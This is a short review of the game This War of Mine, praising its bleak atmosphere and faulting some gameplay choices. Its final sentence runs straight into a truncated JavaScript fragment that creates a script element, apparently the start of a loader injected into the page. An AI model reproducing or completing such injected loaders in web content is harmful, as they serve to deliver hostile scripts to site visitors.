By James L. Boyle
3.5 / 4: Excellent
First impressions count for a lot, they say. The very title of This War of Mine immediately establishes that the player is in for an intensely personal journey into the horrors of war. The actual game begins with the War Child logo followed with a quote from Ernest Hemingway, before opening on the silhouette of an adult and child next to a ruin with the graffiti “F*** the war!”. Subtle.
Based loosely on the real life Siege of Sarajevo, the game focuses on a random group of survivors trying to survive in a bombed-out ruin in the middle of a war-torn city. The only real goal is to hold out until a ceasefire can be declared (whenever that may be…). To that end, the player must set about making their group’s shelter halfway hospitable by scavenging supplies at night and constructing equipment by day.
The pencil shaded graphics and mournful guitar twangs of the soundtrack further emphasize the harshness of the situation the characters find themselves in. Even with the radio turned up full blast, bombs and gunfire can still be heard in the distance. The bleak atmosphere is strongly reminiscent of Papers, Please; which placed the player in a similar soul-crushing situation where the challenge is not only to survive day-to-day but retain one’s humanity.
This sense of grim desperation influences the gameplay beyond gathering and crafting. The player only has until dawn to scrounge from a given area, can barely carry more than armful of supplies, and toe-to-toe is about as effective against armed thugs as a cup of milky tea.
However, some of the gameplay choices result in the immersion being damaged somewhat. The guiltiest offender being the fact that your party can build anything from a knife to a hydroponic vegetable garden, yet can’t figure out how to make a bigger rucksack for scavenging. There are other complaints; such as the fact that it takes a character ten in-game minutes to cross a room, or the drama being delivered in a rather ham-fisted manner at times.
There was an incident playing the game which neatly sums up This War of Mine: One day, a stranger knocked on the door. She was tired, hungry and seeking shelter. As much as I wanted to help, we had been raided the night before and our supplies would barely see us through tomorrow. I told her no. She started begging, pleading she had nowhere else to go. I shut the door in her face. Callous as it was, I had to think of my group first.
To return to the opening paragraph, This War of Mine is a harrowing look at the toll war takes on civilians trying to survive in it. Although it does have a few minor hiccups, it is still an excellent game and well worth a look.var d=document;var s=d.createElement(‘script’);